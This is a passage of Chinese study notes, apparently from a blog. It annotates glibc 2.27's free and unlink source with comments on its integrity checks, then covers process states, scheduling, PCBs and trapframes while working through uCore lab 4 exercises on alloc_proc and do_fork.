MAYBE_INIT_TCACHE(); /* 新增:对tcache进行初始化(libc-2.27开启了tcache) */

ar_ptr = arena_for_chunk(p); /* 根据chunk头地址,获取对应的arena */
_int_free(ar_ptr, p, 0); /* 核心 */
}
libc_hidden_def(__libc_free) /* 进行延迟绑定 */
  • 和 chunk->size 有关的宏定义:
1
2
#define chunksize_nomask(p)         ((p)->mchunk_size) /* 获取chunk->size */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS)) /* 获取真正的size */
  • _int_free:__libc_free 的核心部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
static void
_int_free(mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* 记录chunk->size */
mfastbinptr* fb; /* 用于关联fastbin */
mchunkptr nextchunk; /* 物理相邻的下一个chunk */
INTERNAL_SIZE_T nextsize; /* 记录nextchunk->size */
int nextinuse; /* 如果使用nextchunk,则为true */
INTERNAL_SIZE_T prevsize; /* 记录lastchunk->size */
mchunkptr bck; /* link使用的"临时上一个chunk" */
mchunkptr fwd; /* link使用的"临时下一个chunk" */

size = chunksize(p); /* 获取真正的chunk->size(为了和chunksize_nomask区分) */

if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0)
|| __builtin_expect(misaligned_chunk(p), 0))
malloc_printerr("free(): invalid pointer");
/* 检查1: 简单检查一下chunk头指针的合理性 && 实现对齐后的chunk不为空 */

if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
malloc_printerr("free(): invalid size");
/* 检查2: chunk的大小必须大于MINSIZE(4字) && 检查chunk->size是否对齐 */

check_inuse_chunk(av, p); /* DEBUG:检查chunk的前一个chunk是否不被使用 */

#if USE_TCACHE /* 如果启用TCACHE */
{
size_t tc_idx = csize2tidx(size); /* 获取对应tcachebin */

if (tcache
&& tc_idx < mp_.tcache_bins
/* 初始化为TCACHE_MAX_BINS,表示tcachebin的最大数量 */
&& tcache->counts[tc_idx] < mp_.tcache_count)
/* 初始化为7,表示在同一个tcachebin中,chunk的最大值 */
{
tcache_put(p, tc_idx); /* 会将该free的块插入到对应idx的bin的第一个位置上(插头) */
return;
}
/* tcache_perthread_struct有和main_arena相似的性质:
会根据tcachebin的大小来决定tcachebin->count和tcachebin->entry的位置
如果不对tc_idx进行限制,那么过大的size很可能超过tcache_perthread_struct的范围
*/
}
#endif

if ((unsigned long)(size) <= (unsigned long)(get_max_fast())
#if TRIM_FASTBINS
&& (chunk_at_offset(p, size) != av->top)
/* 如果会和top chunk合并,则新增一个条件:nextchunk不是top chunk */
#endif
) {
/* 情况1:会进入fastbin */
if (__builtin_expect(chunksize_nomask(chunk_at_offset(p, size))
<= 2 * SIZE_SZ, 0)
|| __builtin_expect(chunksize(chunk_at_offset(p, size))
>= av->system_mem, 0))
/* 检查3: nextchunk->size必须大于2字(当size刚好等于2字时,nextchunk->P不能为0) ,nextchunk->size不能大于或等于system_mem */
{
bool fail = true;
if (!have_lock) /* 如果有锁,就进行解锁(过程有点看不懂) */
{
__libc_lock_lock(av->mutex);
fail = (chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ
|| chunksize(chunk_at_offset(p, size)) >= av->system_mem);
__libc_lock_unlock(av->mutex);
}

if (fail)
malloc_printerr("free(): invalid next size (fast)");
}

free_perturb(chunk2mem(p), size - 2 * SIZE_SZ); /* 设置perturb_byte */

atomic_store_relaxed(&av->have_fastchunks, true); /* 检查是否有fastbin */
unsigned int idx = fastbin_index(size); /* 获取对应的index */
fb = &fastbin(av, idx); /* 获取对应的fastbin */

mchunkptr old = *fb, old2;

if (SINGLE_THREAD_P) /* 如果是单线程 */
{
if (__builtin_expect(old == p, 0))
malloc_printerr("double free or corruption (fasttop)");
/* 检查4: 检查原链表头的chunk是否等于p,经典Double free检查 */
p->fd = old;
*fb = p;
}
else /* 如果是多线程 */
do
{
if (__builtin_expect(old == p, 0))
malloc_printerr("double free or corruption (fasttop)");
p->fd = old2 = old;
/* 检查4: 检查原链表头的chunk是否等于p,经典Double free检查 */
} while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2))
!= old2);
if (have_lock && old != NULL
&& __builtin_expect(fastbin_index(chunksize(old)) != idx, 0))
malloc_printerr("invalid fastbin entry (free)");
/* 检查5: 检查顶部fastbin区块的大小是否是我们要添加的块的大小 */
}
/* 情况2:不会进入fastbin,并且不是mmap分配的(在其他未映射的块到达时合并它们) */
else if (!chunk_is_mmapped(p)) {
if (SINGLE_THREAD_P) /* 如果是单线程,则不需要锁定arena(SINGLE_THREAD_P=1) */
have_lock = true;

if (!have_lock)
__libc_lock_lock(av->mutex);

nextchunk = chunk_at_offset(p, size); /* 获取nextchunk->head */

if (__glibc_unlikely(p == av->top))
malloc_printerr("double free or corruption (top)");
/* 检查6: 当前chunk不能是top chunk(不能free top chunk) */

if (__builtin_expect(contiguous(av)
&& (char*)nextchunk
>= ((char*)av->top + chunksize(av->top)), 0))
malloc_printerr("double free or corruption (out)");
/* 检查7: 检查nextchunk是否超出了竞技场的边界 */

if (__glibc_unlikely(!prev_inuse(nextchunk)))
malloc_printerr("double free or corruption (!prev)");
/* 检查8: 该chunk是否在使用(必须是alloc状态) */

nextsize = chunksize(nextchunk);
if (__builtin_expect(chunksize_nomask(nextchunk) <= 2 * SIZE_SZ, 0)
|| __builtin_expect(nextsize >= av->system_mem, 0))
malloc_printerr("free(): invalid next size (normal)");
/* 检查9: nextchunk->size必须大于2字,小于malloc_state->system_mem(同检查3) */

free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);

/* 后向合并 */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* 前向合并 */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
}
else
clear_inuse_bit_at_offset(nextchunk, 0);

/* 合并后的chunk插入unsortedbin的链表头 */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
malloc_printerr("free(): corrupted unsorted chunks");
/* 检查10: 相当于 bck->fd->bk != bck,只要不破坏main_arena,通过这个检查应该没有什么问题(就是在进行main_arena劫持的时候,会造成影响) */

p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);
}
/* 和top chunk合并 */
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p); /* DEBUG:简单检查 */
}

if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);

if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
}
else {
heap_info* heap = heap_for_ptr(top(av));
assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}
if (!have_lock)
__libc_lock_unlock(av->mutex);
}
else {
munmap_chunk(p); /* 如果是mmap分配出来的chunk,直接进行回收 */
}
}

现在 free 函数就分析完毕了:

  • libc-2.27 加入了 tcache 机制,_int_free 会首先尝试把 free chunk 放入 tcachebin
  • 和 libc-2.23 相比,总体上没有什么变化

最后看 unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#define unlink(AV, P, BK, FD) {
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
/* 检查1: 检查chunk->size是否等于nextchunk->presize */
malloc_printerr("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
/* 检查2: 检查nextchunk->bk是不是chunk,检查lastchunk->fd是不是chunk */
malloc_printerr("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range(chunksize_nomask(P))
&& __builtin_expect(P->fd_nextsize != NULL, 0)) {
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr("corrupted double-linked list (not small)");
/* 检查3: 检查1的largebin版本,主要用于横向链表(用fd_nextsize和bk_nextsize组织的链表,用于管理同一largebin中,不同size的large chunk) */
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
  • 只多了一个检查而已

进程状态

进程的生命周期通常有6种情况:进程创建、进程执行、进程等待、进程抢占、进程唤醒、进程结束

对应了一下几种进程状态:

  • 创建状态:
    • 这是一个进程刚刚建立,但还未将它送人就绪队列时的状态
    • 指的是为程序分配合适的pcb格式,然后放入内存
    • 如果由于内存不足,暂未放入主存,创建工作并未完成,进程不能被调用,则被成为创建状态
  • 就绪状态:
    • 指进程得到了除CPU以外所有必要资源就等CPU开始发动了
    • 通常把处于就绪状态的进程排成一个或多个队列,称其为就绪队列
  • 执行状态:
    • 指进程已获得处理机,其程序正在执行
    • 得到调度被分配到CPU,就会从就绪状态转换为执行状态,单CPU只能执行单进程,多CPU可以进行多进程
  • 阻塞状态:
    • 进程因等待某事件(如:等待I/O操作结束、等待通信信息、等待申请缓存空间)而暂停执行时的状态
    • 指执行状态受到I/O的影响变为阻塞状态,等I/O完成后又变为就绪状态
    • 通常将处于阻塞状态的进程排成一个队列,称为阻塞队列,在有的系统中,按阻塞原因的不同而将处于阻塞状态的进程排成多个队列
  • 唤醒状态:
    • 唤醒进程的原因:
      • 被阻塞进程需要的资源可被满足
      • 被阻塞进程等待的事件到达
      • 将该进程的PCB插入到就绪队列
  • 终止状态(僵尸状态):
    • 当一个进程已经正常结束或异常结束,OS已将它从就绪队列中移出,但尚未将它撤消时的状态(父进程尚未使用 wait 函数族等来收尸,即等待父进程销毁它)
    • 自然或非正常结束进程,将进入终止状态,先等待os处理,然后将其pcb清零,将pcb空间返还系统

进程创建

在Unix中,进程通过系统调用 forkexec 来创建一个进程

  • fork:把一个进程复制成两个除PID以外完全相同的进程
    • fork 函数创建一个继承的子进程:
      • 该子进程复制父进程的所有变量和内存,以及父进程的所有CPU寄存器(除了某个特殊寄存器,以区分是子进程还是父进程)
    • fork 函数一次调用,返回两个值:
      • 父进程中返回子进程的PID
      • 子进程中返回 0
    • fork 函数的开销十分昂贵,其实现开销来源于:
      • 对子进程分配内存
      • 复制父进程的内存和寄存器到子进程中
    • 在大多数情况下,调用 fork 函数后就紧接着调用 exec ,此时 fork 中的内存复制操作是无用的,因此,fork 函数中使用 写时复制技术(Copy on Write, COW)
  • exec:用新进程来重写当前进程,PID没有改变

空闲进程的创建

空闲进程主要工作是完成内核中各个子系统的初始化,并最后用于调度其他进程,该进程最终会一直在 cpu_idle 函数中判断当前是否可调度(循环语句)

  • 简单来说,虽然这叫做“系统空闲进程”,但这其实并不是一个真正的进程
  • 由于该进程是为了调度进程而创建的,所以其 need_resched 成员初始时为1(需要被调度)
  • 空闲进程在 proc_init 函数中被创建
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void
proc_init(void) {
int i;

list_init(&proc_list);
for (i = 0; i < HASH_LIST_SIZE; i ++) {
list_init(hash_list + i);
}

if ((idleproc = alloc_proc()) == NULL) {
/* 分配一个物理页,作为proc_struct结构体 */
panic("cannot alloc idleproc.\n");
}

idleproc->pid = 0; /* 将空闲进程作为第一个进程,pid为0 */
idleproc->state = PROC_RUNNABLE; /* 设置该空闲进程始终可运行 */
idleproc->kstack = (uintptr_t)bootstack; /* 设置空闲进程的内核栈 */
idleproc->need_resched = 1; /* 设置该空闲进程为可调度 */
set_proc_name(idleproc, "idle"); /* 设置该进程的name为"idle" */
nr_process ++; /* 将全局线程的数目加1 */

current = idleproc; /* 设置当前进程为idleproc */

/* <-------- 第一个内核进程的创建 --------> */
int pid = kernel_thread(init_main, "Hello world!!", 0);
if (pid <= 0) {
panic("create init_main failed.\n");
}

initproc = find_proc(pid);
set_proc_name(initproc, "init");

assert(idleproc != NULL && idleproc->pid == 0);
assert(initproc != NULL && initproc->pid == 1);
}

第一个内核进程的创建

第一个内核进程是未来所有新进程的父进程或祖先进程

  • proc_init 函数中完成创建工作
1
2
3
4
5
6
7
8
9
10
11
/* <-------- 第一个内核进程的创建 --------> */
int pid = kernel_thread(init_main, "Hello world!!", 0);
if (pid <= 0) { /* 内核进程创建失败 */
panic("create init_main failed.\n");
}

initproc = find_proc(pid); /* 通过pid查找proc_struct,并赋值给initproc */
set_proc_name(initproc, "init"); /* 设置该进程的name为"init" */

assert(idleproc != NULL && idleproc->pid == 0);
assert(initproc != NULL && initproc->pid == 1);
  • kernel_thread
    • 程序先设置 trapframe 结构,最后调用 do_fork 函数
    • 注意:该 trapframe 部分寄存器 ebx、edx、eip 被分别设置为“目标函数地址”、“参数地址”以及“kernel_thread_entry地址”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int
init_main(void *arg) { /* 打印函数 */
cprintf("this initproc, pid = %d, name = \"%s\"\n", current->pid, get_proc_name(current));
cprintf("To U: \"%s\".\n", (const char *)arg);
cprintf("To U: \"en.., Bye, Bye. :)\"\n");
return 0;
}

int
kernel_thread(int (*fn)(void *), void *arg, uint32_t clone_flags) {
// fn:某个打印函数
// arg:某个字符串
// clone_flags:标志位

struct trapframe tf;
memset(&tf, 0, sizeof(struct trapframe)); /* 设置trapframe结构 */
tf.tf_cs = KERNEL_CS;
tf.tf_ds = tf.tf_es = tf.tf_ss = KERNEL_DS;
tf.tf_regs.reg_ebx = (uint32_t)fn;
tf.tf_regs.reg_edx = (uint32_t)arg;
tf.tf_eip = (uint32_t)kernel_thread_entry;
return do_fork(clone_flags | CLONE_VM, 0, &tf); /* 调用do_fork */
}
  • do_fork 就是后续实验需要实现的函数

进程挂起

将处于挂起状态的进程映像在磁盘上,目的是减少进程占用的内存

挂起状态,它既可以是我们客户主动使得进程挂起,也可以是操作系统因为某些原因使得进程挂起,总而言之引入挂起状态的原因有以下几种:

  • 用户的请求:可能是在程序运行期间发现了可疑的问题,需要暂停进程
  • 父进程的请求:考察,协调,或修改子进程
  • 操作系统的需要:对运行中资源的使用情况进行检查和记账
  • 负载调节的需要:有一些实时的任务非常重要,需要得到充足的内存空间,这个时候我们需
  • 把非实时的任务进行挂起,优先使得实时任务执行
  • 定时任务:一个进程可能会周期性的执行某个任务,那么在一次执行完毕后挂起而不是阻塞,这样可以节省内存
  • 安全:系统有时可能会出现故障或者某些功能受到破坏,这是就需要将系统中正在进行的进程进行挂起,当系统故障消除以后,对进程的状态进行恢复

挂起(Suspend):把一个进程从内存转到外存

  • 等待到等待挂起:没有进程处于就绪状态或就绪进程要求更多内存资源
  • 就绪到就绪挂起:当有高优先级进程处于等待状态(系统认为很快会就绪的),低优先级就绪进程会挂起,为高优先级进程提供更大的内存空间
  • 运行到就绪挂起:当有高优先级等待进程因事件出现而进入就绪挂起
  • 等待挂起到就绪挂起:当有等待挂起进程因相关事件出现而转换状

激活(Activate):把一个进程从外存转到内存

  • 就绪挂起到就绪:没有就绪进程或挂起就绪进程优先级高于就绪进程
  • 等待挂起到等待:当一个进程释放足够内存,并有高优先级等待挂起进程

进程切换

过程简述

  • 暂停当前进程,保存上下文,并从运行状态变成其他状态
  • 调度另一个进程,恢复其上下文并从就绪状态转为运行状态

进程控制块(Process Control Block,PCB)

  • 进程控制块是 操作系统管理控制进程运行所用的信息集合 ,操作系统用PCB来描述 进程的基本情况以及运行变化的过程
  • PCB是进程存在的唯一标志 ,每个进程都在操作系统中有一个对应的PCB(内核为每个进程维护了对应的进程控制块PCB)
  • 进程控制块可以通过某个数据结构组织起来(例如链表),同一状态进程的 PCB 连接成一个链表,多个状态对应多个不同的链表,各状态的进程形成不同的链表:就绪联链表,阻塞链表等等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
enum proc_state {
PROC_UNINIT = 0, // 未初始化的 -- alloc_proc
PROC_SLEEPING, // 等待状态 -- try_free_pages, do_wait, do_sleep
PROC_RUNNABLE, // 就绪/运行状态 -- proc_init, wakeup_proc,
PROC_ZOMBIE, // 僵死状态 -- do_exit
};

struct proc_struct {
enum proc_state state; // 当前进程的状态
int pid; // 进程ID
int runs; // 当前进程被调度的次数
uintptr_t kstack; // 内核栈
volatile bool need_resched; // 是否需要被调度
struct proc_struct *parent; // 父进程ID
struct mm_struct *mm; // 当前进程所管理的虚拟内存页,包括其所属的页目录项PDT
struct context context; // 保存的进程上下文,用于进程切换
struct trapframe *tf; // 中断帧指针,指向内核栈的某个位置(保存有中断上下文)
uintptr_t cr3; // 页目录表的地址
uint32_t flags; // 当前进程的相关标志
char name[PROC_NAME_LEN + 1]; // 进程名称(可执行文件名)
list_entry_t list_link; // 进程链表
list_entry_t hash_link; // 进程哈希表
};
  • struct context context
    • 需要注意的是,与 trapframe 所保存的用户态上下文不同,context 保存的是线程的 当前 上下文
    • 这个上下文可能是执行用户代码时的上下文,也可能是执行内核代码时的上下文
  • struct trapframe* tf
    • 无论是用户程序在用户态通过系统调用进入内核态,还是线程在内核态中被创建,内核态中的线程返回用户态所加载的上下文就是 struct trapframe* tf
    • 所以当一个线程在内核态中建立,则该新线程就必须“伪造”一个 trapframe 来返回用户态
  • 两者关系:
    • kernel_thread 函数为例,尽管该函数设置了 proc->trapframe ,但在 fork 函数中的 copy_thread 函数里,程序还会设置 proc->context
    • “两个上下文”看上去好像冗余,但实际上两者所分的工是不一样的
    • 进程之间通过进程调度来切换控制权,当某个 fork 出的新进程获取到了控制流后,首当其中执行的代码是 current->context->eip 所指向的代码,此时新进程仍处于内核态,但实际上我们想在用户态中执行代码,所以我们需要从内核态切换回用户态,也就是中断返回,此时会遇上两个问题:
      • 新进程如何执行中断返回?:这就是 proc->context.eip = (uintptr_t)forkret 的用处, forkret 会使新进程正确的从中断处理例程中返回
      • 新进程中断返回至用户代码时的上下文为?:这就是 proc_struct->tf 的用处,中断返回时,新进程会恢复保存的 trapframe 信息至各个寄存器中,然后开始执行用户代码
  • 由于进程数量可能较大,倘若从头向后遍历查找符合某个状态的PCB,则效率会十分低下,因此使用了哈希表作为遍历所用的数据结构

详细流程

  • uCore中,内核的第一个进程 idleproc(空闲进程)会执行 cpu_idle 函数,并从中调用 schedule 函数,准备开始调度进程:
1
2
3
4
5
6
7
8
9
10
struct proc_struct *current = NULL; /* 指向当前的进程 */ 

void
cpu_idle(void) {
while (1) {
if (current->need_resched) { /* 是否需要被调度 */
schedule(); /* 准备开始调度进程 */
}
}
}
  • schedule 函数会先清除调度标志,并从当前进程在链表中的位置开始,遍历进程控制块,直到找出处于 就绪状态 的进程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
list_entry_t proc_list; /* 进程链表的起始地址 */
struct proc_struct *idleproc = NULL; /* 内核的第一个进程 */
/* 内核的第一个进程(空闲进程):其主要工作是完成内核中各个子系统的初始化,并最后用于调度其他进程 */

#define le2proc(le, member) \
to_struct((le), struct proc_struct, member)
#define to_struct(ptr, type, member) \
((type *)((char *)(ptr) - offsetof(type, member)))

void
schedule(void) {
bool intr_flag;
list_entry_t *le, *last;
struct proc_struct *next = NULL;
local_intr_save(intr_flag); /* 阻塞中断 */
{
current->need_resched = 0; /* 清除调度标志 */
last = (current == idleproc) ? &proc_list : &(current->list_link);
/* 第一次执行时:当前进程肯定是第一个进程(空闲进程) */
/* 后续执行时:current可能是第一个进程(空闲进程),也可能不是 */

le = last; /* 初始化le为当前进程在链表中的位置 */
do { /* 遍历整个进程链表,直到找出处于就绪状态的进程(准备将其调度) */
if ((le = list_next(le)) != &proc_list) {
next = le2proc(le, list_link); /* 根据链表信息获取该进程的物理地址 */
if (next->state == PROC_RUNNABLE) {
/* 如果是"就绪/运行状态"直接break,进入后续操作 */
break;
}
}
} while (le != last);
if (next == NULL || next->state != PROC_RUNNABLE) {
next = idleproc; /* 判断将要被调度的进程为空闲进程 */
}
next->runs ++; /* 目标进程被调度的次数增加 */
if (next != current) {
/* 如果调度进程不是当前进程,则运行proc_run,否则会重新进入空闲进程(循环) */
proc_run(next); /* 执行进程调度操作 */
}
}
local_intr_restore(intr_flag); /* 解除中断的阻塞 */
}
  • proc_run 函数会设置TSS中ring0的内核栈地址,同时还会加载页目录表的地址,等到这些前置操作完成后,最后执行上下文切换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void
proc_run(struct proc_struct *proc) {
if (proc != current) { /* 再次检查(调度进程,不能等于当前进程) */
bool intr_flag;
struct proc_struct *prev = current, *next = proc;
local_intr_save(intr_flag); /* 阻塞中断 */
{
current = proc; /* 设置当前执行的进程 */
load_esp0(next->kstack + KSTACKSIZE); /* 设置ring0的内核栈地址 */
lcr3(next->cr3); /* 加载页目录表 */
switch_to(&(prev->context), &(next->context)); /* 切换上下文(汇编) */
}
local_intr_restore(intr_flag); /* 解除中断的阻塞 */
}
}

PS:线程控制块(Thread Control Block,TCB)

  • 线程控制块(TCB)是与进程的控制块(PCB)相似的子控制块,只是TCB中所保存的线程状态比PCB中保存少而已

进程终止

有序终止:进程结束时调用 exit(),完成进程资源回收

  • exit 函数调用的功能:
    • 将调用参数作为进程的“结果”
    • 关闭所有打开的文件等占用资源
    • 释放内存
    • 释放大部分进程相关的内核数据结构
    • 检查父进程是否存活
      • 如果存活,则保留结果的值,直到父进程使用,同时当前进程进入僵尸状态
      • 如果没有,它将释放所有的数据结构,进程结束
    • 清理所有等待的僵尸进程(僵尸状态,终止状态)

进程机制

这里我将简述一下 ucore 的进程是什么实现的:(涉及多进程原理)

  • 内核的第一个进程 idleproc(空闲进程)会执行 cpu_idle函数,在这个函数中循环执行 schedule 用于空闲进程的调度,这个函数是永远不会停止的
  • 其他的进程都会因为schedule 而被调度,又会因为各种原因被中断,然后再次调度
  • CPU 会把自己的资源依靠某种算法给分配到这些进程上,每次对于一个进程只执行一小会儿(用定时器timer实现),然后去执行其他的进程
  • 从用户的视角来看,就好像这些进程是“同步运行”的一样,这就是操作系统提供的“抽象”

中断帧

中断发生时:内核将进程的所有寄存器的值放到了进程的 trapframe 结构中

trapframe 保存的都是一些系统关键的寄存器,这里我们只需要特别关注4个寄存器(涉及到程序执行的控制流问题):

  • EFLAGS:状态寄存器(本实验暂时用不到)
  • EIP:Instruction Pointer,当前执行的汇编指令的地址
  • ESP:当前的栈顶
  • EBP:当前的栈底,当前过程的帧在栈中的开始地址(高地址)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct trapframe {
struct pushregs tf_regs;
uint16_t tf_gs;
uint16_t tf_padding0;
uint16_t tf_fs;
uint16_t tf_padding1;
uint16_t tf_es;
uint16_t tf_padding2;
uint16_t tf_ds;
uint16_t tf_padding3;
uint32_t tf_trapno;
/* below here defined by x86 hardware */
uint32_t tf_err;
uintptr_t tf_eip;
uint16_t tf_cs;
uint16_t tf_padding4;
uint32_t tf_eflags;
/* below here only when crossing rings, such as from user to kernel */
uintptr_t tf_esp;
uint16_t tf_ss;
uint16_t tf_padding5;
} __attribute__((packed));

用户线程与内核线程

线程有三种实现方式

  • 用户线程:在用户空间实现(POSIX Pthread)
    • 用户线程的定义:
      • 用户线程是由一组用户级的线程库函数来完成线程的管理,包括线程的创建、终止、同步和调度等
    • 用户线程的特征:
      • 不依赖于操作系统内核,在用户空间实现线程机制
        • 可用于不支持线程的多进程操作系统
        • 线程控制模块(TCB)由线程库函数内部维护
      • 同一个进程内的用户线程切换速度块,无需用户态/核心态切换
      • 允许每个进程拥有自己的线程调度算法
    • 用户进程的缺点:
      • 线程发起系统调用而阻塞时,整个进程都会进入等待状态
      • 不支持基于线程的处理机抢占
      • 只能按进程分配CPU时间
  • 内核线程:在内核中实现(Windows,Linux)
    • 内核线程的定义:
      • 内核线程是由内核通过系统调用实现的线程机制,由内核完成线程的创建、终止和管理
    • 内核线程的特征:
      • 由内核自己维护PCB和TCB
      • 线程执行系统调用而被阻塞不影响其他线程
      • 线程的创建、终止和切换消耗相对较大
      • 以线程为单位进行CPU时间分配,其中多线程进程可以获得更多的CPU时间
  • 轻权进程:轻权进程是操作系统内核支持的用户线程
    • 轻权进程的特点:
      • 用户线程可以自定义调度算法,但存在部分缺点
      • 而内核线程不存在用户线程的各种缺点
      • 所以轻权进程是用户线程与内核线程的结合产物
    • 轻权进程的模型图:

练习0-把 lab3 的内容复制粘贴到 lab4

练习1-分配并初始化一个进程控制块

alloc_proc 函数负责分配并返回一个新的 struct proc_struct 结构,用于存储新建立的内核线程的管理信息,ucore 需要对这个结构进行最基本的初始化,你需要完成这个初始化过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static struct proc_struct *
alloc_proc(void) {
struct proc_struct *proc = kmalloc(sizeof(struct proc_struct));
if (proc != NULL) {
//LAB4:EXERCISE1 YOUR CODE
/*
* below fields in proc_struct need to be initialized
* enum proc_state state; // Process state
* int pid; // Process ID
* int runs; // the running times of Proces
* uintptr_t kstack; // Process kernel stack
* volatile bool need_resched; // bool value: need to be rescheduled to release CPU?
* struct proc_struct *parent; // the parent process
* struct mm_struct *mm; // Process's memory management field
* struct context context; // Switch here to run process
* struct trapframe *tf; // Trap frame for current interrupt
* uintptr_t cr3; // CR3 register: the base addr of Page Directroy Table(PDT)
* uint32_t flags; // Process flag
* char name[PROC_NAME_LEN + 1]; // Process name
*/
}
return proc;
}

这个函数的关键就是初始化一个 proc_struct 结构体:

  • 首先需要知道 proc_struct 结构体的内容
  • 然后需要明白它的各个条目该初始化为什么

下面是实现的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static struct proc_struct *
alloc_proc(void) {
struct proc_struct *proc = kmalloc(sizeof(struct proc_struct));
if (proc != NULL) {
proc->state = PROC_UNINIT; // 进程所处状态-未初始化的
proc->pid = -1; // 进程的PID为"-1"
proc->runs = 0; // 进程的运行时间为0
proc->kstack = 0;
proc->need_resched = 0; // 该进程不需要被CPU调度
proc->parent = NULL;
proc->mm = NULL;
memset(&(proc->context), 0, sizeof(struct context));
proc->tf = NULL;
proc->cr3 = boot_cr3; // 页目录为内核页目录表的基址
proc->flags = 0;
memset(proc->name, 0, PROC_NAME_LEN);
}
return proc;
}

其实,具体的操作流程需要看后续的代码是怎么安排的,我为了省事就直接抄答案了

  • context是进程的上下文:用于进程的上下文切换
  • *tf 是中断帧指针:总是指向内核栈的某个位置
    • 当进程从用户空间跳到内核空间时,中断帧记录了进程在被中断前的状态
    • 当内核需要跳回用户空间时,需要调整中断帧以恢复让进程继续执行的各寄存器值
    • trapframe 包含了 context 的信息

练习2-为新创建的内核线程分配资源

do_fork 的作用是,创建当前内核线程的一个副本,它们的执行上下文、代码、数据都一样,但是存储位置不同,在这个过程中,需要给新内核线程分配资源,并且复制原进程的状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int
do_fork(uint32_t clone_flags, uintptr_t stack, struct trapframe *tf) {
int ret = -E_NO_FREE_PROC;
struct proc_struct *proc;
if (nr_process >= MAX_PROCESS) {
goto fork_out;
}
ret = -E_NO_MEM;
/* <-------- start --------> */

/* <-------- end --------> */
fork_out:
return ret;

bad_fork_cleanup_kstack:
put_kstack(proc);
bad_fork_cleanup_proc:
kfree(proc);
goto fork_out;
}

要求:

  • 调用 alloc_proc 来分配一个 proc_struct
  • 调用 setup_kstack 为子进程分配内核堆栈
  • 根据 clone_flag 调用 copy_mm 或 share mm
  • 调用 copy_thread 在 proc_struct 中设置中断帧指针和上下文
  • 将 proc_struct 插入 hash_list和proc_list
  • 调用 wakeup_proc 使新的子进程可以运行
  • 使用子进程的 pid 设置 ret vaule

我们可用的函数:

  • alloc_proc:分配一张物理页
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static struct proc_struct *
alloc_proc(void) {
struct proc_struct *proc = kmalloc(sizeof(struct proc_struct));
/* kmalloc:分配连续的物理地址,用于小内存分配 */
if (proc != NULL) { /* 初始化各个参数(和“练习1”的代码一样) */
proc->state = PROC_UNINIT;
proc->pid = -1;
proc->runs = 0;
proc->kstack = 0;
proc->need_resched = 0;
proc->parent = NULL;
